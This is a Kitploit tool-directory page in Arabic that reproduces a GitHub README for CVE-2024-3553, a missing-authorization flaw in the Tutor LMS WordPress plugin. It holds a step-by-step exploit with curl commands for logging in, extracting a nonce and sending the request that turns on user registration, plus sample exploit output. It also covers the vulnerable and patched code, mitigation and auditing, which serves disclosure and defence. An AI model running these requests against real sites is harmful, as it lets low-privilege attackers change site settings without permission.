Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration

عرض المستودع
منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-3553

Tutor LMS <= 2.6.2 - عدم وجود تفويض يسمح بتحديث غير مصرح به لخيارات محدودة

إضافة Tutor LMS – حل التعلم الإلكتروني والدورات عبر الإنترنت لووردبريس عرضة لتعديل غير مصرح به للبيانات بسبب نقص فحص الصلاحية في دالة hide_notices() في جميع الإصدارات حتى 2.6.2. وهذا يجعل من الممكن للمهاجمين المصادق عليهم (بما في ذلك المستخدمين ذوي الامتيازات المنخفضة مثل المشتركين) تمكين تسجيل المستخدمين في المواقع التي قد يكون المسؤولون قد عطلوها.

التفاصيل

  • النوع: إضافة (plugin)
  • الاسم المختصر: tutor
  • الإصدار المتأثر: 2.6.2
  • درجة CVSS: 6.5
  • تصنيف CVSS: متوسط
  • ناقل CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • الحالة: نشط

الإثبات (POC)

الاستغلال الآلي

يتوفر استغلال كامل بلغة بايثون: exploit-cve-2024-3553-v2.py

root@kitploit:~
# استغلال آلي كامل
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# التحقق من حالة التسجيل فقط
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

الاستغلال اليدوي

المتطلبات الأساسية:

  • أي حساب مصادق عليه (مشترك، مساهم، إلخ.)
  • إضافة Tutor LMS مثبتة ومفعلة

الخطوة 1: تسجيل الدخول كمستخدم ذو امتيازات منخفضة

root@kitploit:~
# تسجيل الدخول كمشترك أو أي مستخدم مصادق عليه
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

الخطوة 2: استخراج التوكن (nonce) من منطقة الإدارة

root@kitploit:~
# يمكن لأي مستخدم مصادق عليه الوصول إلى /wp-admin/ (حتى المشتركين)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

الخطوة 3: تنفيذ الاستغلال

root@kitploit:~
# إرسال طلب لتمكين تسجيل المستخدمين
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

الخطوة 4: التحقق من النجاح

root@kitploit:~
# التحقق مما إذا كان التسجيل مفعلاً الآن
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "التسجيل مُفعَّل" || echo "التسجيل مُعطَّل"

استغلال بسطر واحد

root@kitploit:~
# كمستخدم مصادق عليه، قم بزيارة:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

مثال للمخرجات

root@kitploit:~
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
الهدف: https://target.com
======================================================================

[*] التحقق من حالة التسجيل الحالية...
[+] التسجيل مُعطَّل حالياً

[*] محاولة تسجيل الدخول باسم: subscriber
[+] تم تسجيل الدخول بنجاح باسم: subscriber

[*] الخطوة 2: استخراج التوكن من منطقة الإدارة...
[+] تم العثور على التوكن: abc123def456

[*] الخطوة 3: تنفيذ الاستغلال لتمكين تسجيل المستخدمين...
[*] الهدف: https://target.com
[*] باستخدام التوكن: abc123def456
[*] رابط الاستغلال: https://target.com/wp-admin/index.php
[*] المعاملات: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] حالة الاستجابة: 200
[+] تم إرسال طلب الاستغلال بنجاح!

[*] الخطوة 4: التحقق من نجاح الاستغلال...
[+] التسجيل مُفعَّل حالياً

======================================================================
[!] تم الاستغلال بنجاح!
[!] تم تمكين تسجيل المستخدمين الآن
[!]
[!] الأثر: تمكن مهاجم بحساب ذي امتيازات منخفضة (مشترك)
[!] من تمكين تسجيل المستخدمين في موقع كان التسجيل فيه معطَّلاً.
[!] قد يسمح ذلك بإنشاء حسابات إضافية،
[!] مما قد يؤدي إلى البريد العشوائي أو الوصول غير المصرح به.
======================================================================

الكود القابل للاستغلال

الملف: /classes/User.php (الأسطر ~800-815)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

نقاط الضعف الرئيسية:

  1. is_admin() تتحقق فقط من أن الطلب موجه إلى صفحة إدارة، وليس من أن المستخدم هو مسؤول
  2. يمكن لأي مستخدم مصادق عليه الوصول إلى /wp-admin/ (حتى المشتركين)
  3. يتحقق فحص التوكن من أن الطلب مقصود، لكنه لا يتحقق من أن المستخدم لديه الصلاحيات المناسبة
  4. مفقود: فحص الصلاحية current_user_can('manage_options')
  5. يسمح هذا لأي مستخدم مصادق عليه بتعديل خيار users_can_register

التصحيح (الإصدار 2.7.0)

الملف: /classes/User.php (الإصدار المصحح)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

يضيف التصحيح current_user_can('manage_options') للتحقق من أن المستخدم لديه صلاحيات المسؤول قبل السماح بتحديث الخيار.

الأثر

  • خطورة متوسطة: على الرغم من أن الثغرة لا تخترق الموقع بشكل مباشر، إلا أنها تسمح بـ:
    • تجاوز ضوابط الإدارة
    • تمكين تسجيل المستخدمين في المواقع المحصنة/الخاصة
    • احتمالية إنشاء حسابات غير مرغوب فيها
    • تجاوز سياسات أمان الموقع
    • تعديل غير مصرح به لإعدادات الموقع

تحليل السبب الجذري

خطأ أمني شائع في ووردبريس

توضح هذه الثغرة سوء فهم جوهري لوظائف التفويض في ووردبريس:

خاطئ ❌:

root@kitploit:~
if ( is_admin() ) {
    // ظناً أن هذا يعني "المستخدم مسؤول"
    update_option( 'sensitive_option', $value );
}

صحيح ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // يتحقق بالفعل مما إذا كان المستخدم لديه صلاحيات المسؤول
    update_option( 'sensitive_option', $value );
}

مقارنة الدوال

الدفاع المتعمق المطلوب

يتطلب أمان ووردبريس السليم طبقات متعددة:

  1. التحقق من التوكن (Nonce) - يمنع هجمات CSRF
  2. فحوصات الصلاحية - تضمن التفويض المناسب
  3. تنظيف المدخلات - يمنع هجمات الحقن

فقدان أي من هذه الطبقات يمكن أن يؤدي إلى ثغرات.

التخفيف

لمسؤولي المواقع:

قم بتحديث إضافة Tutor LMS إلى الإصدار 2.7.0 أو أحدث فوراً:

root@kitploit:~
# عبر WP-CLI
wp plugin update tutor --version=2.7.0

# عبر لوحة إدارة ووردبريس
لوحة التحكم → الإضافات → ابحث عن "Tutor LMS" → انقر "تحديث الآن"

تدقيق التغييرات الأخيرة:

root@kitploit:~
# تحقق مما إذا تم تعديل إعداد التسجيل مؤخراً
wp option get users_can_register

# مراجعة عمليات تسجيل المستخدمين الأخيرة
wp user list --orderby=registered --order=DESC --number=20

دروس أمنية

للمطورين

  1. لا تعتمد على is_admin() وحدها للتفويض
  2. استخدم دائماً current_user_can() لفحوصات الصلاحية
  3. اجمع بين التحقق من التوكن وفحوصات الصلاحية
  4. اتبع معايير ترميز ووردبريس للأمان
  5. اختبر بحسابات ذات امتيازات منخفضة أثناء التطوير

منهجية الاختبار

عند تدقيق إضافات ووردبريس بحثاً عن مشكلات التفويض:

root@kitploit:~
# 1. ابحث عن is_admin() بدون فحص صلاحية
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. ابحث عن تحديثات خيارات مباشرة
grep -r "update_option\|add_option" .

# 3. ابحث عن معالجات AJAX بدون فحص صلاحية
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

المراجع

  • إفادة Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • تصحيح WordPress Trac: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • مرجع صلاحيات ووردبريس: https://wordpress.org/documentation/article/roles-and-capabilities/
  • مدخل WPScan: https://wpscan.com/vulnerability/cve-2024-3553

الملفات في هذا المستودع

  • README.md - هذا الملف
  • exploit-cve-2024-3553.py - استغلال أساسي بلغة بايثون
  • exploit-cve-2024-3553-v2.py - استغلال محسّن بلغة بايثون مع توثيق مفصل
  • manual-exploit-cve-2024-3553.sh - نص استغلال يدوي
  • test-cve-2024-3553-direct.sh - نص اختبار مباشر للتحقق

اكتُشفت: 2024-04-15 أُفصح عنها: 2024-05-20 صُححت: 2024-05-21 (الإصدار 2.7.0) تاريخ الاختبار: 2025-12-26 التصنيف: تحقق ناجح من الثغرة

تنزيل الأداة
الدالة
ما تتحقق منه فعلياً
الاستخدام الأمني
is_admin()ما إذا كان عنوان URL الحالي داخل /wp-admin/❌ ليس للتفويض
current_user_can()ما إذا كان المستخدم لديه صلاحية محددة✅ تفويض صحيح
wp_verify_nonce()ما إذا كان الطلب مقصوداً (حماية CSRF)✅ لكنه غير كافٍ وحده